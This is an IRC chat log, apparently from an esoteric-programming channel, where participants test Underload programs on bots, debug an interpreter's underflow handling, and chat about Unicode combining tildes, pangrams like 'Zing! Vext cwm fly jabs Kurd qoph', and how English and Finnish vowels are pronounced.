256 to duplicate the u 20:45:15 I so hate church numerals ;P 20:45:20 !underload (:*):::**^ 20:45:27 !underload (:*):::**^S 20:45:27 :*:*:*:*:*:*:*:* 20:45:29 I think 20:45:31 hm 20:45:32 maybe not 20:45:33 Hrm. 20:45:44 Church numerals... 20:45:52 Make my head hurt. 20:45:52 pikhq, iirc yes 20:45:56 agreed! 20:46:04 I like Church numerals 20:46:25 I think we need yet another odd number system 20:46:25 -!- tombom has quit ("Peace and Protection 4.22.2"). 20:46:34 I liked that idea I had some days ago 20:46:50 that the interpreter selected the minimal possible base to interpret the number in 20:46:54 ais523: They're brilliant, they just screw with my head. 20:46:58 so 30 was in base 4, 45 was in base 6 20:47:00 and so on 20:47:04 !underload (X):*:*:*(~S:^):^ 20:47:04 XXXXXXXXError: Stack underflow in ~ 20:47:14 +ul (X):*:*:*(~S:^):^ 20:47:15 XXXXXXXX ...S out of stack! 20:47:15 ^ul (X):*:*:*(~S:^):^ 20:47:15 XXXXXXXX ...out of stack! 20:47:24 huh 20:47:35 they seem to be disagreeing about what in particular underflowed 20:47:39 exponential growth? 20:47:41 EgoBot and thutubot, that is 20:47:48 oh 20:47:48 AnMaster: "underflow", not "overflow" 20:47:51 right 20:48:00 AnMaster: i just wanted to check if it would print anything before the error 20:48:04 ah 20:48:05 hm 20:48:28 so you can use that for printing the whole stack like in the others 20:48:37 ais523, where should it really have underflown 20:48:45 ~ or S 20:49:01 ~ 20:49:11 if a ~ succeeds, the subsequent S can't possibly underflow 20:49:16 because there must be at least two stack elements 20:49:23 so bug in thutubot then 20:49:31 ais523, what was ~ now again 20:49:33 swap 20:49:33 probably 20:49:35 ? 20:49:41 or to be more precise, a bug in its error-handling 20:49:42 and yes, swap 20:50:30 hm... 20:50:38 +ul (x)~~S 20:50:38 ...~ out of stack! 20:50:45 +ul (x)~S 20:50:46 ...S out of stack! 20:50:56 curious :D 20:50:59 -!- kar8nga has quit (Remote closed the connection). 20:51:01 +ul (x)~: 20:51:01 ...: out of stack! 20:51:04 +ul (x)~a 20:51:05 ...a out of stack! 20:51:06 +ul (x)~' 20:51:13 oh, it didn't say ...' out of stack 20:51:15 +ul (test)S 20:51:15 test 20:52:12 +ul (x)~(Hi)S 20:52:12 Hi 20:52:25 +ul (x)~(Hi)SS 20:52:26 Hi ...S out of stack! 20:52:40 +ul (x)~(Hi)~(there)S 20:52:40 there 20:52:42 fungot doesn't say what underflows. 20:52:42 fizzie: " fnord?" she inquired. so, as i thought good, ' as many as five nights fnord warmth, you know.' 20:52:53 It's just a generic "out of stack" message. 20:52:57 I suspect it has some sort of underflow token that's being swapped onto the stack 20:53:03 and you get an underflow error when you try to use it 20:53:13 I didn't do that deliberately, but thutubot's complicated enough that I might have done it by mistake 20:54:46 +ul !(test)S 20:54:47 ...! out of stack! 20:54:59 +ul (x)~!(test)S 20:54:59 ...! out of stack! 20:55:25 I suspect it has some sort of underflow token that's being swapped onto the stack 20:55:25 and you get an underflow error when you try to use it 20:55:26 err 20:55:31 didn't you code it 20:55:37 oh right 20:55:38 seems only ~ gets fooled, and only for the second element 20:55:42 yes, but that's not the same as knowing how it works 20:56:04 ais523, so how did you detect underflow then 20:56:08 so probably ~ just checks for one argument 20:56:46 +ul (x)*(test)S 20:56:46 test 20:56:50 AnMaster: if the program underflows, none of the regexps match, so it falls out of the main loop unexpectedly 20:56:55 ah * has the same bug :D 20:56:58 ah 20:57:10 what does * do then. I don't remember 20:57:19 concatenate 20:57:20 +ul (x)*S 20:57:20 ...S out of stack! 20:57:37 +ul (x)*(test)~(hi)S 20:57:37 hi 20:57:58 +ul (x)~a 20:57:58 ...a out of stack! 20:58:32 those are the only two-argument commands 20:59:44 interesting that * doesn't mess up more though, since it actually combines the two args rather than just swapping them 21:00:37 +ul (x)*(test)~*S 21:00:38 ...* out of stack! 21:00:45 bah 21:00:50 +ul (x)*(x)*S 21:00:51 ...S out of stack! 21:00:56 ah, as I suspected 21:01:13 my current guess is that * and ~ both do the same thing as ! if there's only one element on the stack 21:01:13 ais523, what 21:01:23 which would be weird, but not completely implausible 21:01:57 ais523, what does ! do now again... 21:02:12 AnMaster: pop 21:02:15 ah 21:03:12 +ul (!):( drops)~^( accidentally)SS 21:03:12 accidentally! 21:03:21 oops 21:03:53 looks like it dropped certainly :P 21:04:11 yeah the accident was in the printing part 21:04:15 ais523, is there any underload in underload implementation 21:04:54 +ul ((Underload in Underload)S)^ 21:04:54 Underload in Underload 21:04:55 ^ul (!):( drops)~^( accidentally)SS 21:04:55 accidentally! 21:04:58 hm 21:05:12 oerjan, well that is cheating... I meant a non-eval implementation 21:05:16 SS should have been *S 21:05:23 AnMaster: underload has no input 21:05:27 true 21:05:41 but surely you could embed the input in some way 21:05:44 ^ul (!):( drops)~^( accidentally)*S 21:05:45 ! accidentally 21:05:48 +ul (!):( drops)~^( accidentally)*S 21:05:48 ! accidentally 21:05:58 !underload (!):( drops)~^( accidentally)*S 21:05:58 ! accidentally 21:06:08 AnMaster: there's an Underload interp in BF, and a BF-minus-input to Underload compiler 21:06:13 you could trivially combine the two 21:06:26 ais523, true. 21:06:32 you could code it in binary with : and ^, like i did with the rule 110 automaton 21:06:53 but you couldn't do it as a base64 encoded string. 21:07:05 Since strings in underload are more like atoms 21:07:13 (as far as I understood) 21:07:28 yep, no way of decoding except by running 21:07:37 correct 21:07:52 Underlambda takes that further, incidentally, there's no way to do anything with information in Tier 1 except by running it 21:08:08 if you want to get at the details of the code, you load a library that puts metadata into things 21:08:11 that is irritating. Makes it require more thought to be sure if it is TC or not. 21:08:12 it's a lot cleaner that way 21:08:29 um wait was it : and ^ i used or was that the other option i gave up 21:08:31 AnMaster: it's pretty easy to compile SKI into Underload 21:08:36 * oerjan checks wiki 21:08:38 ais523, true. 21:08:41 but in general 21:08:43 such languages 21:08:50 not really 21:09:00 Underlambda just uses the function from stacks to stacks as its basic data type 21:09:06 so it's very purely concatenative 21:09:12 whereas Underload is slightly dirtier due to S 21:09:27 (in Underlambda, S serialises a function, but the form of the serialisation is implementation-defined) 21:09:31 yeah it was : and ^, the other was : and a i think 21:09:44 ais523, I could compile befunge into underload easily if there is no input... 21:10:04 what, really? 21:10:09 I would have thought it was impossible due to ? 21:10:14 OUTPUT="$(./cfunge $1)"; echo "($OUTPUT)S" 21:10:15 ;P 21:10:16 although I suppose you could stick a PRNG in there somehow 21:10:19 AnMaster: those are as far as i can tell the only pairs of commands whose sequences can be cleanly decoded 21:10:28 also, that fails on infinite loops 21:10:36 ais523, true. But it was a joke 21:10:43 it was an /incorrect/ joke, though 21:10:52 ais523, meh. 21:10:55 besides, what if there are parens in Befunge's output? 21:10:59 you didn't even escape properly 21:11:12 ais523, it wasn't 1.0 duh :P 21:11:28 it was a "initial import" rather 21:11:59 ehird: http://www.tgdaily.com/html_tmp/content-view-42283-135.html 21:12:39 Deewiant: http://www.ramsan.com/products/ramsan-440.htm 21:12:42 600k. 21:12:44 I got you beat. 21:12:52 :-) 21:15:17 !underload (u)(~:S( )S:*~:^):^ 21:15:30 still no infloop printing 21:15:38 +ul (u)(~:S( )S:*~:^):^ 21:15:39 Deewiant, IOPS? 21:15:39 u uu uuuu uuuuuuuu uuuuuuuuuuuuuuuu uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu ...too much output! 21:16:05 ^ul (u)(~:S( )S:*~:^):^ 21:16:05 u uu uuuu uuuuuuuu uuuuuuuuuuuuuuuu uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu ...too much output! 21:16:10 +ul (u)(~:S( )S:*~:^):^ 21:16:11 u uu uuuu uuuuuuuu uuuuuuuuuuuuuuuu uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu ...too much output! 21:16:11 hm 21:16:15 ^ul (^^:^^^:^^^^^:^^^^^^:::^^^^^^^^:::^^^:^^^^::^)()~((())~:a~*):a~*~^!(~((!())(!:^(^)*)(!!:^(!^)*))~*^!!^):^(~((()())(:a~*:(*(!^)(:)S)~*~(!*(^)(^)S)~*):a~**((!^)~^!^)(!(^)~^^))~*^( )S!!a:(*)*~(~*)**^~*(()()(!)()(!)(:a~*:(!^(!^((!^)*)(!(^)*))(!^((^)*)(!(^)*)))~*~(!^(!^((!^)*)(!(^)*))(!^((^)*)(!(!^)*)))~*):^)~*^!!!!!!~:^):^ 21:16:17 ^^:^^^:^^^^^:^^^^^^:::^^^^^^^^:::^^^:^^^^::^ :^^^:^^^:::^^^::::^::^^::::::^::^^:^^^::^:^^ ^^:^^^:^::^^:^:::^^:^^^:::::^^:^^^^^:^:^^^^^ :^^^:^^^:^^^^^::^^^^^:^::::^^^^^:::^^^^^:::: ^^:^^^:^^^:::^:^^:::^^^:::^^:::^::^^:::^:::: ^^^^:^^^:^::^^^^^::^^:^::^^^::^^:^^^::^^:::^ :::^^^:^^^:^^:::^:^^^^^:^^:^:^^^^^:^:^^^::^^ ::^^:^^^: ...too much output! 21:16:26 oerjan, how... 21:16:29 AnMaster: I/Os per second 21:16:33 did you type random chars 21:16:42 I mean, how can you track that 21:17:05 AnMaster: that's the rule 110 automaton 21:17:10 ah 21:17:11 prepared 21:17:14 I see 21:17:20 multiline would make it easier 21:17:34 yes but the irc bots don't allow that 21:18:06 (it would require giving a newline in the input, for one thing) 21:18:27 oerjan, EgoBot can load from urls 21:18:35 fungot can't yet. it was planned however 21:18:35 AnMaster: " a far fnord one than mine, said arthur. " why, they're only a pack of cards!" 21:18:41 ask fizzie about ETA for tit 21:18:42 it* 21:18:42 it shows fine in irssi though, due to line wrapping 21:18:56 fungot: Arthur in Wonderland! 21:18:56 ais523: " but he needn't run over me!" or to any loud cry, such as " fnord me!" i said to myself " that's very curious!" she cried. ' yet i must sell my sunday fnord the fnord almost unnatural fnord which arthur met the woman who had won his heart, and outgrabe in despair, took to pointing out places for himself, and feebly asked " is that great yellow fnord fairyland?" 21:19:03 ^style 21:19:03 Available: agora alice* darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp 21:19:05 ais523, why Arthur 21:19:11 AnMaster: I don't know, ask the bot 21:19:15 "Any loud cry, such as 'fnord me!'." 21:19:16 ah right 21:19:23 AnMaster: well for EgoBot only the first line would be on channel, too 21:19:31 oh right 21:19:40 -!- MigoMipo has joined. 21:19:41 oerjan, you can use it outside the printed bits 21:19:42 right 21:20:14 i considered making a "quine" version but there is an enormous amount of extra noise 21:20:36 oerjan, quine of what 21:20:50 isn't there some short one 21:20:50 the rule 110 automaton 21:20:53 forgot how 21:20:59 not a real quine 21:21:01 oerjan, ah you mean for input 21:21:03 right 21:21:15 but something that would do the automaton between two bots 21:21:31 ouch 21:21:38 oerjan, can you fit that in one line 21:21:40 actually i think they don't allow enough output for it 21:21:40 I doubt it 21:22:03 You can do length-unlimited fungot programs if you want to do a bit of scripting which uses ^str add in a privmsg. I don't think those have a length limit. (You can also use that to make fungot run out of memory, so don't do it.) 21:22:04 fizzie: how it happened. ' that fnord full of them. ' i'm sure mine only works one way,' and then its eyes looked fnord" and an " o." 21:22:43 oerjan, err (!^((!^)*)(!(^)*))(!^((^)*)(!(^)*))) <-- seems repeated there. Can't you use : somehow to cut that down? 21:22:49 not perfect copy 21:22:52 since one is nested 21:22:53 but still 21:23:13 surely it can be made shorter somehow 21:24:05 AnMaster: that's the encoding of the automaton rules 21:24:12 oh 21:24:19 oerjan, still, can't you make it shorter 21:27:31 maybe a bit of tweaking 21:27:55 ((^)*)(!(^)*) = ((^)*):(!)~* 21:28:36 a bit complicated for saving one char :D 21:30:07 in Underlambda, higher tiers have a few charsaving abbreviations 21:30:14 in particular, ` for ~^ and & for ~* 21:31:44 AnMaster: thing is, the representation of a bit in that tree depends not just on what the bit is, but also on whether it is left or right branch 21:31:55 oerjan, meh 21:32:40 ais523, hm... would be funnier it it looked like combined 21:32:47 like .' -> ! 21:32:49 in ic 21:32:50 ick* 21:32:53 yes, but that's less useful 21:33:00 oh, ' is another typesaving character 21:33:03 'c == (c) 21:33:11 lispy! 21:33:11 likewise for '^ == (^) and for any other character 21:33:18 ais523, ~^ 21:33:19 also, I suspect '(a) == ((a)) 21:33:20 err 21:33:24 because there's no other obvious meaning 21:33:25 can't you combine them 21:33:27 in unicode 21:33:32 like ^ over ~ 21:33:34 would be fun 21:33:40 but probably impossible 21:33:45 since both are "over" ones 21:33:47 AnMaster: or rather, every right branch contains an extra ! to get rid of the left branch still on the stack 21:33:58 AnMaster: but that would make the input /longer/ 21:34:11 oerjan, one char saved is one place up in anagolf gained! 21:34:14 ;P 21:34:42 ais523, only if you count bytes rather than chars 21:34:59 oerjan: if the rules were long enough, presumably it would be shorter to write a recursive !-adder 21:35:11 AnMaster: yes, but golfing servers do count bytes 21:35:22 true 21:36:37 ais523: oh and also there is a recursion on the stack, because you look at the last two bits and one bit, each of which have two elements on the stack for accepting next bit 21:36:47 iirc 21:37:20 You can add a combining ^ into the mathematical ~ operator, ∼. That should give a reasonably-rendered ~^-combination. Would look something like ∼̂. Maybe the ascii-~ would work too. Though combining characters tend to render uglily. 21:38:42 fizzie: is that actually a combining circumflex over a tilde? 21:38:54 It should be, but I might've gotten them in the wrong order. 21:38:57 it's a combining circumflex over something that looks like a tilde but isn't 21:39:02 why not just use a genuine tilde? 21:39:15 Because the TILDE OPERATOR is obviously greater than some crummy ASCII tilde. 21:39:40 I'll do both 21:40:01 Besides, the mathematical operators block has, for those situations where a regular ~ is too weak, also the ∾ -- "inverted lazy S = most positive". 21:40:59 Heh, there's also a Unicode codepoint with the official name "NOT TILDE", but sadly it's just a tilde-with-a-slash (≁) and not something that's really not tilde, like, say, a duck. 21:41:01 ~̂∼̂ 21:41:14 First one is an ascii tilde, second is a TILDE OPERATOR 21:41:18 the one on the left looks better to me, that's the ASCII tilde based on how it looks 21:41:29 They render pretty similarly here. 21:41:36 the only difference here is that the OPERATOR is antialiased 21:41:42 possibly a different font 21:41:51 * ais523 wonders why everyone is guessing that Jeff Atwood's password is "orange" 21:42:46 ais523: orange u glad that isn't your password? 21:43:01 oerjan: where does that joke come from, I never understood it 21:43:14 it's a knock knock joke iirc 21:43:30 substitution of "orange" for "aren't" isn't particularly obviously funny 21:43:36 although I've seen it several times in jokes 21:43:44 Here's the ASCII tilde with a combining tilde both above and below: ~̰̃. 21:43:46 for me it's become funny due to the repetition 21:43:54 AH 21:44:09 ais523: http://www.listphile.com/Best_Knock_Knock_Jokes_of_All_Time/Orange_Banana 21:44:42 ais523: also, knock knock jokes are _supposed_ to be puns like that 21:44:54 I still don't get the pun 21:45:02 hm the banana part isn't though 21:45:03 I know they're supposed to be puns 21:45:09 but orange doesn't sound anything like aren't 21:45:19 nor does aren't sound like something orange-related 21:45:24 ais523: "aren't you glad i didn't say banana" 21:45:25 ais523, so, any underlambda implementation yet 21:45:32 if not..., any spec 21:45:37 ais523: i suppose it depends on dialect 21:45:38 I might try it tomorrow 21:45:52 for the lower tires at least 21:46:06 I can't even imagine how "orange" could sound like "aren't" 21:46:16 ais523: aren'tchu 21:46:36 you have to mingle the two words 21:46:49 I still don't get it 21:46:55 * ais523 wonders if he's being meta-trolled 21:47:06 I get it 21:47:28 all the vowels are different, nearly all the consonants are different... 21:47:36 ais523: oh you're british, maybe you don't have an r sound in aren't? 21:47:39 Here's the ASCII tilde with a combining tilde both above and below: ~̰̃. <-- what about ~ with ^ above 21:47:49 and 21:47:57 how do you make those combining ones 21:47:57 AnMaster: loads of those have been pasted earlier 21:48:05 AnMaster: and via character map 21:48:09 well 21:48:10 you mean, you don't have a GUI program for htat? 21:48:13 what about the combiner one 21:48:14 ... 21:48:21 AnMaster: the combiners are there too 21:48:22 ais523, know one for KDE? 21:48:36 I've usually been using gucharmap, which is a gnomey sort of program. 21:48:36 not offhand 21:48:44 I'm sure there's a KDE thing too. 21:48:53 ais523: i suspect it works best in a texas accent, or something midwest US like that 21:48:55 It might even have a built-in character-select-o-tron, for all I know. 21:49:13 Just remember to stick combining characters after the thing you want them to combine with. 21:49:57 kcharselect, maybe. 21:50:15 will compile it and try it later 21:50:29 * AnMaster has a sparse KDE installation 21:50:51 any americans around who can tell us whether "aren't" really sounds anything like "orange"? 21:51:28 different in Oxford English I think 21:51:34 -!- MigoMipo has quit ("I must sleep!"). 21:51:56 *Maybe* in some exaggerated parody of Texas English... 21:52:48 but not in smug asshole english 21:52:58 thank God 21:53:00 so GWB gets it perfect? :) 21:53:05 *ly 21:53:44 GWB? 21:53:56 oh, if it needs an American accent, possibly I can imagine how it works 21:54:11 * oerjan should have seen that AnMaster comment coming 21:54:40 AnMaster: famous ex-president with bad speech 21:55:02 ah, Bush 21:55:03 right 22:03:26 ORANGE YOU GLAD I DIDN'T SAY BANANA? 22:03:29 Nobody remembers that? 22:03:41 GregorR: oerjan linked me to it, I'd never seen it before 22:04:05 Oh I was just responding to any americans around who can tell us whether "aren't" really sounds anything like "orange"? 22:04:31 GregorR, yay back to square one 22:04:43 that was the start of the discussion duh 22:04:50 Oh :P 22:04:53 lawlehcoptahs :P 22:05:00 ugh 22:05:03 I have a program looking for all potential 26-letter pangrams right now. 22:05:06 GregorR: ais523 being british couldn't imagine how that pun actually works 22:05:16 GregorR, pangram? 22:05:33 Fail Brittania (couldn't resist the pun urge :P ) 22:05:54 GregorR: there was a 26-letter pangram as the answer to a massive puzzle on Agora that lasted five weeks 22:05:55 Brittans fail the waves? 22:05:58 AnMaster: A sentence containing every letter of the alphabet, e.g. The quick brown fox jumps over the lazy dog. 22:05:59 that sounds weird. 22:06:02 This sentence contains 43 'a's, 9 'b's, ..., and 16 small jumping rats. 22:06:12 GregorR, that is a huge search space 22:06:19 Yup :P 22:06:24 oh not self-describing ones 22:06:32 "Zing! Vext cwm fly jabs Kurd qoph." 22:06:43 oerjan: I don't think there's a 26-letter self-describing pangram 22:06:45 And the trick is not to use lame ones like that :P 22:06:47 GregorR, you need to check if they are gramtically valid. 22:06:48 those Kurds are always getting it 22:06:58 AnMaster: Yeah, that's gonna be the PITA part X-P 22:06:59 ais523: well not in english. maybe Rotokas. 22:06:59 oerjan: actually, it's just a Kurd who drew the qoph 22:07:18 someone should write a minimum-length pangram in Chinese 22:07:22 GregorR, what about: The brown fox quick over jumps the lazy dog. 22:07:39 AnMaster: That's not a _26-letter_ pangram. 22:07:49 there's a minimum-length pangram in Japanese kana, IIRC, which makes a lot of sense and even scans correctly, IIRC they use it to order the alphabet 22:07:49 oh right 22:07:51 26 letter 22:07:53 ais523: @_@ 22:07:55 indeed 22:08:03 GregorR, any example of such as 26 one 22:08:05 AnMaster: Which is to say, contains ever letter exactly once. 22:08:13 or isn't it known yet 22:08:15 "Zing! Vext cwm fly jabs Kurd qoph." 22:08:16 GregorR: Been watching Code Geass or something? 22:08:21 err 22:08:24 I've seen two or three, but they're all hyper-lame. 22:08:26 are those valid words 22:08:28 ... 22:08:31 Yes. 22:08:35 AnMaster: yes, although some of them are rather obscure 22:08:45 Obscenely obscure :P 22:08:45 ais523, too obscure for aspell even 22:08:50 so what does it mean 22:08:50 that's one of the few isogram pangrams which actually makes grammatical sense 22:09:00 Nobody outside Wales would ever use "cwm" 22:09:06 AnMaster: "zing" is the noise a bullet makes as it whizzes past you 22:09:11 ok... 22:09:14 the other ones 22:09:15 I thought that was Welsh. 22:09:21 like all words but "fly" there 22:09:28 (I don't know of any other languages that use w as a vowel...) 22:09:30 pikhq: It's a Welsh loan word, yes. 22:09:37 ... 22:09:42 what does it mean GregorR 22:10:04 it's a sort of valley shaped like a semicircle 22:10:10 ok... 22:10:14 so the other words then 22:10:25 Vext cwm Kurd qoph 22:10:36 Vext is an old spelling of "vexed" 22:10:37 fly jabs I think I know, unless they mean something odd 22:10:40 which means confused, or annoyed 22:10:57 qoph is a letter in the Hebrew alphabet 22:11:01 More like angry, IMO 22:11:08 and a Kurd is a member of the Kurdish ethnolinguistic group 22:11:14 Deewiant: I thought so too, but I looked it up 22:11:18 Or I guess "annoyed" is it 22:11:20 ais523, ah right 22:11:22 It's just stronger 22:11:27 ais523: "Confused"? Really? 22:11:35 so. what does the entire sentence mean 22:11:40 Of course "vexed" means confused. 22:12:07 you didn't explain cwm 22:12:09 Confused flying valleys jab those instances of the letter qoph that are (quite inexplicably) Kurdish. 22:12:11 AnMaster: Zing! An angry fly that lives in a semicircular valley jabs the Hebrew letter qoph, as drawn by a Kurd 22:12:14 oerjan: I did, just earlier 22:12:17 Latin vexare - harass/annoy 22:12:24 GregorR: it's ambiguous, my meaning is slightly more sensible 22:12:26 Oh, I'm sorry, yes, fly as in a noun, bleh 22:12:28 ais523, ah 22:12:30 that's odd 22:12:34 Yes, ais523 is right. 22:12:42 -er 22:13:06 anyway 22:13:15 what about one using space at most once ;P 22:13:18 impossible I bet 22:13:47 so 22:13:52 how did anyone come up with that one 22:14:00 and second question 22:14:10 how the hell do you pronounce "cwm" 22:14:36 ais523, ^ 22:15:02 AnMaster: the w's a vowel, it sounds like about half an oo 22:15:12 oo as in book 22:15:14 or 22:15:16 what 22:15:20 yes, as in book 22:15:29 so like a single o 22:15:30 + 22:15:32 no 22:15:35 hm 22:15:37 IPA /kum/ 22:15:49 * GregorR wonders how AnMaster pronounces "book" :P 22:15:52 Deewiant, doesn't help me if I don't know how it is supposed to sound 22:16:00 Learn IPA :-P 22:16:07 GregorR, not like a double single o no 22:16:19 I just can't figure out how to pronounce half an o 22:16:31 AnMaster: Only the Welsh truly know. 22:16:32 Deewiant, is that u the Swedish u? 22:16:53 No, the Swedish u is /ʉ/ 22:17:00 oh ok 22:17:05 you mean u with blur on it 22:17:06 :P 22:17:20 Well, y'know, those Swedes speak in a blurry way. 22:17:29 too smal font 22:17:32 small* 22:17:42 I can't think of a Swedish word with /u/ :-/ 22:17:52 works great of ASCII and åäöÅÄÖ but not anything else really 22:17:54 Anyway, it's like the Swedish o 22:18:11 Deewiant, so Swedish o is /u/? 22:18:30 Yeah, I think it always is 22:18:33 hm 22:18:38 oh like that 22:18:47 that isn't like half of book 22:18:48 ... 22:19:01 No it's not 22:19:04 IIII'm a monoglot and I'm OH-KAY, I sleep all night and I work all day. 22:19:07 book is /bʊk/ 22:19:13 Deewiant, so ais523 was just misleading me then 22:19:16 right... 22:19:25 A 26-letter self-describing pangram: A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z. 22:19:30 More likely he's confused about the vowel sounds in his own language :-P 22:19:50 Deewiant, I still can't figure out cwm, I mean... what is the c there. is it s or k sound 22:19:52 or some other 22:19:55 /kum/ 22:19:58 ah right 22:20:04 you said that above duh 22:20:06 C is only S before E, I and Y. 22:20:09 W is not E, I or Y. 22:20:14 Deewiant, so like "kom" in Swedish? 22:20:18 :D 22:20:37 Right, Swedish o is *not* always /u/ 22:20:43 And the letter "w" is almost always the long "oo" sound, I think. Like, um... 22:20:51 Deewiant, yeah it is more like å in there 22:20:52 What? 22:20:56 i vaguely recall welsh c is always k 22:21:10 "Goose". 22:21:21 Deewiant, eh? 22:21:42 Nah, I was confused 22:21:54 ok.... So I have something like 4 totally different descriptions of how cwm is pronounced now 22:21:55 ... 22:21:58 ! 22:21:59 /kum/ 22:22:21 Ideally, everyone would understand me if I called a goose a gwç. 22:22:27 heh, "The letter "k" was in common use until the sixteenth century, but was dropped at the time of the publication of the New Testament in Welsh, as William Salesbury explained: "C for K, because the printers have not so many as the Welsh requireth". This change was not popular at the time." 22:22:36 :D 22:22:36 Deewiant, and that is like "kom" but with the other o sound? As in "gol"? 22:22:52 AnMaster: in IPA, /u/ is the "oo" of "goose". 22:23:00 Huh? 22:23:01 so in other words, it isn't spelt "kwm" because old printers didn't have enough ks? 22:23:12 ... 22:23:19 Isn't "goose" /gʊ:s/ ? 22:23:20 ais523, now you are just being absurd. 22:23:29 AnMaster: I was replying to oerjan 22:23:32 * AnMaster wonders why "om" at end of words in Swedish make a short o sound. 22:23:39 oh right 22:23:43 Okay, maybe I'm weird. 22:24:05 ais523: so it seems :D 22:24:16 oerjan, awesome! 22:24:40 No, "goose" isn't /gʊ:s/, unless either http://en.wikipedia.org/wiki/Help:IPA_for_English is lying or my knowledge of English is very fail. 22:24:56 Wiktionary's IPAfication of "goose" is /guːs/ actually. 22:25:12 Hmm, perhaps I am confused 22:25:14 The word "foot" is /fʊt/. 22:25:33 Yeah, that's definitely a different sound 22:25:37 But I think /u/ is not what I thought it was 22:25:57 so spelled in English it would be koom? 22:26:07 (like in Koom valley?) 22:26:15 dictionary.com lists it as koom 22:26:26 uh uh 22:26:30 Yeah, it would probably be "koom". 22:26:36 I think I hit a hidden TP reference there... 22:27:00 Okay, I just don't get how Finnish "kuu" is /ku:/ while English "food" is /fu:d/ 22:27:03 I guess "koom valley" in the Discworld is a pun on cwm 22:27:03 then 22:27:05 Rhyming with "boom", not the first half of "woman". 22:27:26 Too bad I don't know any Finnish. 22:27:32 Is it Indo-European? 22:27:37 No, it's Finno-Ugric. 22:27:43 anyway, I love the word "cwm", because it's normally a giveaway that someone is attempting a pangram 22:27:53 Uralic! Wow. 22:28:03 Deewiant, isn't it the only language in that family? 22:28:08 Like Hungarian. 22:28:10 No. 22:28:20 I freely admit I probably wouldn't be able to differentiate between 'food' /fu:d/ and 'foot' /fʊt/ based on only the wovel; I mean, sure, there's a difference, but in the grand scheme of life, the universe and everything, it's not so big. 22:28:21 ah 22:28:26 AnMaster: Finnish, Estonian, Hungarian and a bunch of very-tiny languages 22:28:37 saami 22:28:38 Meänkieli, Saami, Mordva, etc. 22:28:41 I freely admit I probably wouldn't be able to differentiate between 'food' /fu:d/ and 'foot' /fʊt/ based on only the wovel; I mean, sure, there's a difference, but in the grand scheme of life, the universe and everything, it's not so big. <-- it is rather obvious to me 22:28:54 Deewiant, Mordva? 22:29:01 AnMaster: Very-tiny, like I said. 22:29:05 ah 22:29:11 I could differentiate between "wide" and "white" based only on the vowel. 22:29:19 Saami I heard of of course 22:29:29 * AnMaster hates when you get double "of" in English 22:29:40 Put a comma in between 22:29:44 Everyone hates when you get double anything in English. 22:29:55 kerlo, true 22:29:58 kerlo: fool versus food 22:30:03 Is that not a very different vowel 22:30:06 But sometimes we just have to accept that that that is is. 22:30:16 Deewiant, foot vs. food is more different 22:30:19 Deewiant: those vowels sound pretty much the same to me. 22:30:26 Foot is different from both. 22:30:28 AnMaster: Yes, but I'm not interested in that. 22:30:31 But sometimes we just have to accept that that that is is. <-- parser failure on three of them 22:30:47 two I can handle 22:30:49 but not three 22:31:13 AnMaster: but but but it's easy 22:31:16 Heh, typical Wikipedia style: "The term Finno-Ugric is somewhat controversial today[citation needed], with many historical linguists[who?] feeling --" 22:31:20 Noun phrase: that that that is is 22:31:23 Sentence: that that is is 22:31:37 AnMaster: /msg 22:31:48 Pronoun: that 22:31:52 Restrictive clause: that is 22:32:48 If you understand the phrase "that that is is", you just stick a complementizer in front of it and get the noun phrase found in "accept that . . .". 22:32:50 night in 1 minute 22:34:21 Spanish is less ambiguous: Pero a veces sólo tenemos que aceptar que lo que es es. 22:35:22 and norwegian even less: ... akseptere at det som er, er. 22:35:27 kerlo: "you" versus "rule"?! 22:36:04 -!- puzzlet has quit (Remote closed the connection). 22:36:08 -!- puzzlet has joined. 22:36:11 Both supposedly /u:/ 22:37:30 Aha 22:37:31 http://en.wikipedia.org/wiki/Advanced_%28phonetics%29 22:37:40 In English, the back vowel /u/ is farther forward than what is normally indicated by the IPA letter . This fronting may be shown explicitly, especially within a narrow transcription: [u̟]. Whether this is as far front as the central vowel [ʉ], or somewhere between [u] and [ʉ], may need to be clarified verbally. 22:37:51 No shit it's farther forward, it's a mile away :-P 22:38:20 You have one big-ass mouth, then. 22:38:25 those english always sticking out their tongue 22:38:27 (Do not move the dash.) 22:38:31 big ass-mou 22:38:32 dammit 22:38:33 :-D 22:40:03 fizzie: But seriously, am I the only one who thinks that "food" and fi:"kuu" have completely different vowel sounds 22:40:30 kuuld be 22:40:52 I'm not sure I'd go so far as to say "completely", but different, yes. 22:41:04 Of course my understanding of 'food' might be the wrong. 22:41:10 I honestly thought they'd be different even in broad transcription 22:41:15 I am reasonably sure I know what fi:kuu sounds like. 22:41:22 "you", then 22:41:33 I assume you know what that sounds like, in general 22:42:27 Although it does obfuscate a bit with the /j/ rolling into it 22:43:21 doncha comfuse yer prunciation, ye haer 22:44:10 I can plausibly believe a "you" that's exactly like fi:juu, with identical wovel to fi:kuu, but I'm not so sure I know what "you" should exactly sound like; I think if I were to say "you" and "food" they'd have somewhat different sounds, anyway. 22:44:30 